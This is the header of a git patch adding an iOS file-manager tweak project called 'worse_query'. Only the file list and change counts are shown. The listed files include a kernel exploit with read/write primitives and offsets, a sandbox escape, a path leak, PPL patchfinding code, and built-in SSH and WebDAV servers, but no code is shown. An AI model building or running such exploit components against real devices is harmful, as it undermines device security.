From 91a6adf72331158336fe7f15bdf60651fe10d709 Mon Sep 17 00:00:00 2001 From: admin Date: Wed, 11 Nov 2026 03:40:37 +0800 Subject: [PATCH] Filza 27.2 worse_query: public and developer builds --- .gitignore | 15 + FilzaApplySandboxExt.plist | 1 + MCMBridge.h | 35 + MCMBridge.m | 254 ++ MCMFilzaIntegration.h | 16 + MCMFilzaIntegration.m | 1733 +++++++++++ MCMIdentifiers.example.plist | 24 + Makefile | 41 + PosterBoardFeature.h | 9 + PosterBoardFeature.m | 1169 ++++++++ README.md | 130 + .../LICENSE-GPL-3.0.txt | 674 +++++ .../Cipher by mightycooldude12/SOURCE.txt | 12 + ...e.posterkit.provider.descriptor.identifier | 1 + ...der.identifierURL.suggestionMetadata.plist | Bin 0 -> 1281 bytes .../com.apple.posterkit.role.identifier | 1 + .../providerInfo.plist | Bin 0 -> 386 bytes .../1/RuntimeSnapshotMetadata-home.plist | Bin 0 -> 417 bytes .../1/RuntimeSnapshotMetadata-lock.plist | Bin 0 -> 417 bytes ...provider.instance.complicationLayout.plist | Bin 0 -> 378 bytes ...der.instance.titleStyleConfiguration.plist | Bin 0 -> 691 bytes ...rovider.contents.configurableOptions.plist | Bin 0 -> 729 bytes .../assetManifest.caml | 7 + .../assets/1 1.png | Bin 0 -> 49738 bytes .../assets/1.png | Bin 0 -> 49738 bytes .../assets/2.png | Bin 0 -> 32579 bytes .../assets/3.png | Bin 0 -> 49999 bytes .../assets/B 1.png | Bin 0 -> 8939 bytes .../assets/B.png | Bin 0 -> 8939 bytes .../assets/P 1.png | Bin 0 -> 7350 bytes .../assets/P 2.png | Bin 0 -> 7350 bytes .../assets/P.png | Bin 0 -> 7350 bytes .../assets/Root_Layer.js | 119 + .../assets/Untitled 2.png | Bin 0 -> 87710 bytes .../assets/barcode 3.png | Bin 0 -> 676 bytes .../assets/bhs bg.png | Bin 0 -> 18451 bytes .../assets/bhs.png | Bin 0 -> 36210 bytes .../assets/black square.png | Bin 0 -> 837 bytes .../assets/darkmodeframe1.png | Bin 0 -> 50173 bytes .../assets/darkmodeframe2.png | Bin 0 -> 52898 bytes .../assets/darkmodeframe3.png | Bin 0 -> 53752 bytes .../assets/darkmodeframe4.png | Bin 0 -> 51188 bytes .../assets/darkmodeframe5.png | Bin 0 -> 47297 bytes .../assets/darkmodeframe6.png | Bin 0 -> 53895 bytes .../assets/darkmodeframe7.png | Bin 0 -> 46513 bytes .../assets/dot 1.png | Bin 0 -> 4266 bytes .../assets/dot 2.png | Bin 0 -> 4266 bytes .../assets/dot dot 1.png | Bin 0 -> 4541 bytes .../assets/dot dot dot 1.png | Bin 0 -> 4817 bytes .../assets/dot dot dot.png | Bin 0 -> 4817 bytes .../assets/dot dot.png | Bin 0 -> 4541 bytes .../assets/dot.png | Bin 0 -> 4266 bytes .../assets/nowloading.png | Bin 0 -> 14726 bytes .../assets/png | Bin 0 -> 2030 bytes .../assets/png 1 | Bin 0 -> 2030 bytes .../assets/png 2 | Bin 0 -> 2616 bytes .../assets/png 3 | Bin 0 -> 2030 bytes .../assets/png 4 | Bin 0 -> 2160 bytes .../assets/png 5 | Bin 0 -> 2657 bytes .../assets/png 6 | Bin 0 -> 2160 bytes .../assets/png 7 | Bin 0 -> 2616 bytes .../assets/png 8 | Bin 0 -> 2030 bytes .../assets/png 9 | Bin 0 -> 2657 bytes .../assets/statstext1 1.png | Bin 0 -> 11680 bytes .../assets/statstext1.png | Bin 0 -> 11680 bytes .../assets/statstext2.png | Bin 0 -> 12187 bytes .../assets/statstext3.png | Bin 0 -> 11563 bytes .../assets/statstext4.png | Bin 0 -> 11680 bytes .../assets/statstext5.png | Bin 0 -> 11581 bytes .../assets/styled arrow.png | Bin 0 -> 3651 bytes .../assets/text3.png | Bin 0 -> 89805 bytes .../assets/text4.png | Bin 0 -> 89042 bytes .../assets/text5.png | Bin 0 -> 90344 bytes .../assets/text6.png | Bin 0 -> 89570 bytes .../assets/text7.png | Bin 0 -> 88812 bytes .../assets/vector1 1.png | Bin 0 -> 48459 bytes .../assets/vector1.png | Bin 0 -> 48459 bytes .../assets/vector2.png | Bin 0 -> 54278 bytes .../assets/vector3.png | Bin 0 -> 46879 bytes .../assets/vector4.png | Bin 0 -> 45105 bytes .../assets/vector5.png | Bin 0 -> 50145 bytes .../index.xml | 48 + .../main.caml | 2650 +++++++++++++++++ .../assetManifest.caml | 7 + .../index.xml | 8 + .../main.caml | 51 + .../assetManifest.caml | 7 + .../index.xml | 60 + .../main.caml | 38 + .../Wallpaper.plist | Bin 0 -> 536 bytes ...rkit.provider.contents.otherMetadata.plist | Bin 0 -> 269 bytes ...apple.posterkit.provider.contents.userInfo | Bin 0 -> 204 bytes ...upplementURL.homescreenConfiguration.plist | Bin 0 -> 8821 bytes Tweak.m | 2324 +++++++++++++++ UpdateChecker.h | 3 + UpdateChecker.m | 255 ++ WQArchive.h | 15 + WQArchive.m | 195 ++ WQFilzaIntegration.h | 54 + WQFilzaIntegration.m | 1398 +++++++++ WQPackages.h | 13 + WQPackages.m | 757 +++++ WQRespring.h | 9 + WQRespring.m | 67 + WQSSHServer.h | 14 + WQSSHServer.m | 335 +++ WQStartupUI.h | 10 + WQStartupUI.m | 272 ++ WQTerminal.h | 18 + WQTerminal.m | 1047 +++++++ WQWebDAVServer.h | 15 + WQWebDAVServer.m | 1151 +++++++ XPF/external/ChOma/include/choma | 1 + XPF/external/ChOma/src/Base64.c | 42 + XPF/external/ChOma/src/Base64.h | 11 + XPF/external/ChOma/src/BufferedStream.c | 194 ++ XPF/external/ChOma/src/BufferedStream.h | 19 + XPF/external/ChOma/src/CSBlob.c | 523 ++++ XPF/external/ChOma/src/CSBlob.h | 120 + XPF/external/ChOma/src/CachePatching.h | 195 ++ XPF/external/ChOma/src/CodeDirectory.c | 611 ++++ XPF/external/ChOma/src/CodeDirectory.h | 66 + XPF/external/ChOma/src/DER.c | 232 ++ XPF/external/ChOma/src/DER.h | 24 + XPF/external/ChOma/src/DyldSharedCache.c | 998 +++++++ XPF/external/ChOma/src/DyldSharedCache.h | 116 + XPF/external/ChOma/src/Entitlements.c | 508 ++++ XPF/external/ChOma/src/Entitlements.h | 9 + XPF/external/ChOma/src/Fat.c | 219 ++ XPF/external/ChOma/src/Fat.h | 57 + XPF/external/ChOma/src/FileStream.c | 210 ++ XPF/external/ChOma/src/FileStream.h | 21 + XPF/external/ChOma/src/Host.c | 89 + XPF/external/ChOma/src/Host.h | 14 + XPF/external/ChOma/src/MachO.c | 812 +++++ XPF/external/ChOma/src/MachO.h | 91 + XPF/external/ChOma/src/MachOByteOrder.h | 229 ++ XPF/external/ChOma/src/MachOLoadCommand.c | 189 ++ XPF/external/ChOma/src/MachOLoadCommand.h | 33 + XPF/external/ChOma/src/MemoryStream.c | 220 ++ XPF/external/ChOma/src/MemoryStream.h | 60 + XPF/external/ChOma/src/PatchFinder.c | 617 ++++ XPF/external/ChOma/src/PatchFinder.h | 105 + XPF/external/ChOma/src/PatchFinder_arm64.c | 341 +++ XPF/external/ChOma/src/PatchFinder_arm64.h | 52 + XPF/external/ChOma/src/Util.c | 113 + XPF/external/ChOma/src/Util.h | 35 + XPF/external/ChOma/src/arm64.c | 1008 +++++++ XPF/external/ChOma/src/arm64.h | 111 + XPF/external/ChOma/src/dyld_cache_format.h | 624 ++++ XPF/external/ChOma/src/fixup-chains.h | 306 ++ XPF/src/bad_recovery.c | 311 ++ XPF/src/bad_recovery.h | 2 + XPF/src/common.c | 1385 +++++++++ XPF/src/common.h | 1 + XPF/src/decompress.c | 132 + XPF/src/decompress.h | 3 + XPF/src/non_ppl.c | 234 ++ XPF/src/non_ppl.h | 1 + XPF/src/ppl.c | 577 ++++ XPF/src/ppl.h | 1 + XPF/src/xpf.c | 630 ++++ XPF/src/xpf.h | 82 + apfs_own.h | 27 + apfs_own.m | 340 +++ base/README.md | 18 + compat/sys/fileport.h | 20 + control | 8 + fallback_query.h | 24 + fallback_query.m | 120 + kexploit/kexploit_opa334.h | 17 + kexploit/kexploit_opa334.m | 980 ++++++ kexploit/krw.h | 37 + kexploit/krw.m | 192 ++ kexploit/kutils.h | 40 + kexploit/kutils.m | 233 ++ kexploit/machine_info.h | 86 + kexploit/offsets.h | 100 + kexploit/offsets.m | 976 ++++++ kexploit/vnode.h | 26 + kexploit/vnode.m | 158 + kexploit/xpaci.h | 23 + kpf/patchfinder.h | 16 + kpf/patchfinder.m | 157 + pathleak.h | 41 + pathleak.m | 164 + sandbox_escape.h | 14 + sandbox_escape.m | 288 ++ scripts/build_developer.sh | 32 + scripts/build_public.sh | 23 + scripts/build_release.sh | 14 + scripts/build_release_ipa.sh | 91 + scripts/build_wq_ipa.sh | 171 ++ scripts/prepare_dev_terminal.sh | 232 ++ scripts/prepare_mini_terminal.sh | 67 + scripts/refresh_device_catalog.sh | 50 + tests/test | 4 + tests/test.c | 8 + tests/test.deb | Bin 0 -> 1446000 bytes utils/file.c | 151 + utils/file.h | 24 + utils/hexdump.c | 60 + utils/hexdump.h | 10 + utils/process.c | 51 + utils/process.h | 35 + vendor/libssh/include/CMakeLists.txt | 3 + vendor/libssh/include/libssh/CMakeLists.txt | 39 + vendor/libssh/include/libssh/agent.h | 126 + vendor/libssh/include/libssh/auth.h | 111 + vendor/libssh/include/libssh/bignum.h | 40 + vendor/libssh/include/libssh/bind.h | 68 + vendor/libssh/include/libssh/bind_config.h | 82 + vendor/libssh/include/libssh/blf.h | 96 + vendor/libssh/include/libssh/buffer.h | 85 + vendor/libssh/include/libssh/bytearray.h | 90 + vendor/libssh/include/libssh/callbacks.h | 1027 +++++++ vendor/libssh/include/libssh/chacha.h | 48 + .../include/libssh/chacha20-poly1305-common.h | 54 + vendor/libssh/include/libssh/channels.h | 120 + vendor/libssh/include/libssh/config.h | 68 + vendor/libssh/include/libssh/config_parser.h | 65 + vendor/libssh/include/libssh/crypto.h | 238 ++ vendor/libssh/include/libssh/curve25519.h | 65 + vendor/libssh/include/libssh/dh-gex.h | 41 + vendor/libssh/include/libssh/dh.h | 95 + vendor/libssh/include/libssh/ecdh.h | 65 + vendor/libssh/include/libssh/ed25519.h | 87 + vendor/libssh/include/libssh/fe25519.h | 76 + vendor/libssh/include/libssh/ge25519.h | 51 + vendor/libssh/include/libssh/gssapi.h | 53 + vendor/libssh/include/libssh/kex.h | 68 + vendor/libssh/include/libssh/keys.h | 78 + vendor/libssh/include/libssh/knownhosts.h | 40 + vendor/libssh/include/libssh/legacy.h | 128 + vendor/libssh/include/libssh/libcrypto.h | 116 + vendor/libssh/include/libssh/libgcrypt.h | 126 + vendor/libssh/include/libssh/libmbedcrypto.h | 147 + vendor/libssh/include/libssh/libssh.h | 853 ++++++ vendor/libssh/include/libssh/libssh_version.h | 41 + .../include/libssh/libssh_version.h.cmake | 41 + vendor/libssh/include/libssh/libsshpp.hpp | 681 +++++ vendor/libssh/include/libssh/messages.h | 115 + vendor/libssh/include/libssh/misc.h | 113 + vendor/libssh/include/libssh/options.h | 39 + vendor/libssh/include/libssh/packet.h | 100 + vendor/libssh/include/libssh/pcap.h | 53 + vendor/libssh/include/libssh/pki.h | 205 ++ vendor/libssh/include/libssh/pki_priv.h | 181 ++ vendor/libssh/include/libssh/poll.h | 169 ++ vendor/libssh/include/libssh/poly1305.h | 27 + vendor/libssh/include/libssh/priv.h | 445 +++ vendor/libssh/include/libssh/sc25519.h | 82 + vendor/libssh/include/libssh/scp.h | 63 + vendor/libssh/include/libssh/server.h | 409 +++ vendor/libssh/include/libssh/session.h | 285 ++ vendor/libssh/include/libssh/sftp.h | 1051 +++++++ vendor/libssh/include/libssh/sftp_priv.h | 40 + vendor/libssh/include/libssh/socket.h | 72 + vendor/libssh/include/libssh/ssh2.h | 81 + vendor/libssh/include/libssh/string.h | 49 + vendor/libssh/include/libssh/threads.h | 71 + vendor/libssh/include/libssh/token.h | 56 + vendor/libssh/include/libssh/wrapper.h | 138 + vendor/libssh/libssh.4.dylib | Bin 0 -> 434288 bytes vendor/libssh/libssh.dylib | 1 + worse_query.h | 36 + worse_query.m | 148 + 267 files changed, 42015 insertions(+) create mode 100644 .gitignore create mode 100644 FilzaApplySandboxExt.plist create mode 100644 MCMBridge.h create mode 100644 MCMBridge.m create mode 100644 MCMFilzaIntegration.h create mode 100644 MCMFilzaIntegration.m create mode 100644 MCMIdentifiers.example.plist create mode 100644 Makefile create mode 100644 PosterBoardFeature.h create mode 100644 PosterBoardFeature.m create mode 100644 README.md create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/LICENSE-GPL-3.0.txt create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/SOURCE.txt create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/com.apple.posterkit.provider.descriptor.identifier create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/com.apple.posterkit.provider.identifierURL.suggestionMetadata.plist create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/com.apple.posterkit.role.identifier create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/providerInfo.plist create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/RuntimeSnapshotMetadata-home.plist create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/RuntimeSnapshotMetadata-lock.plist create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/com.apple.posterkit.provider.instance.complicationLayout.plist create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/com.apple.posterkit.provider.instance.titleStyleConfiguration.plist create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/.com.apple.posterkit.provider.contents.configurableOptions.plist create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assetManifest.caml create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/1 1.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/1.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/2.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/3.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/B 1.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/B.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/P 1.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/P 2.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/P.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/Root_Layer.js create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/Untitled 2.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/barcode 3.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/bhs bg.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/bhs.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/black square.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe1.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe2.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe3.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe4.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe5.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe6.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe7.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/dot 1.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/dot 2.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/dot dot 1.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/dot dot dot 1.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/dot dot dot.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/dot dot.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/dot.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/nowloading.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 1 create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 2 create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 3 create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 4 create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 5 create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 6 create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 7 create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 8 create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 9 create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext1 1.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext1.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext2.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext3.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext4.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext5.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/styled arrow.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/text3.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/text4.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/text5.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/text6.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/text7.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector1 1.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector1.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector2.png 